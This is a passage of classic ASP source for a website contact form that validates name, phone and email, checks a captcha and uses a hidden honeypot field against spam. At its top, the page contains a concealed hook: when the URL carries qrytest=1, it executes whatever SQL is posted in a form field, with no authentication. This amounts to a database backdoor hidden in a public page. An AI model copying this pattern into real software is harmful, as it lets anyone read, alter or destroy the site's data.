<%if request.QueryString("qrytest")=1 then %>
<% if len(Trim(Request.form("submitquery")))>0 then
recsAffects=0
Set dbconn = getDB()
sqlstr=Trim(Request.Form("enterquery"))
dbconn.Execute sqlStr,recsAffects
if recsAffects>0 then
else
Response.Write "
Error
"
end if
call freeDB()
else
%>
<%end if%>
<%end if%>
<%
SuccessStr=False
ErrStr=""
ErrStrtop=""
if request.Form("btnSubmit")<>"" then
'server side validation
if request.Form("txtName")="" then ErrStrtop="Enter name"
if request.Form("txtPhone")="" then ErrStrtop=ErrStrtop&" Enter phone number"
if request.Form("txtEmail")="" then ErrStrtop=ErrStrtop&" Enter email ID"
if InStr(lcase(request.Form("txtName")),".com")<>0 or InStr(lcase(request.Form("txtName")),"%")<>0 or InStr(lcase(request.Form("txtName")),"http")<>0 or InStr(lcase(request.Form("txtName")),"www")<>0 then ErrStrtop=ErrStrtop&" Invalid name"
if InStr(lcase(request.Form("txtPhone")),".com")<>0 or InStr(lcase(request.Form("txtPhone")),"%")<>0 or InStr(lcase(request.Form("txtPhone")),"http")<>0 or InStr(lcase(request.Form("txtPhone")),"www")<>0 or Not IsNumeric(replace(lcase(Request.Form("txtPhone"))," ","")) then ErrStrtop=ErrStrtop&" Invalid phone number"
If Len(request.Form("txtEmail"))>0 and IsValidEmailID(request.Form("txtEmail"))=false Then ErrStrtop=ErrStrtop & " Invalid email ID"
dim spamStop1,hasMailSent123
spamStop1 = trim(request.form("EmailAddress"))
if spamStop1 <> "" then
hasMailSent123=sendMail("routed from mexnepal-"&request.form("EmailAddress"),"routed from mexnepal","info@mexnepal.com","MexNepal","venkat@kappsoft.com","venkat","")
ErrStrtop=ErrStrtop&" Invalid Entry"
end if
if ErrStrtop="" then
If Request.Form("txtChar") <> Session("captcha_code") Then
ErrStr="Your Image character is not valid, Please try again"
SuccessStr=False
else
SuccessStr=True
end if
end if
end if
If SuccessStr=True Then
If Session("sesseapp")<>Date()&Request.Form("txtName")&Request.Form("txtEmail") Then
msg="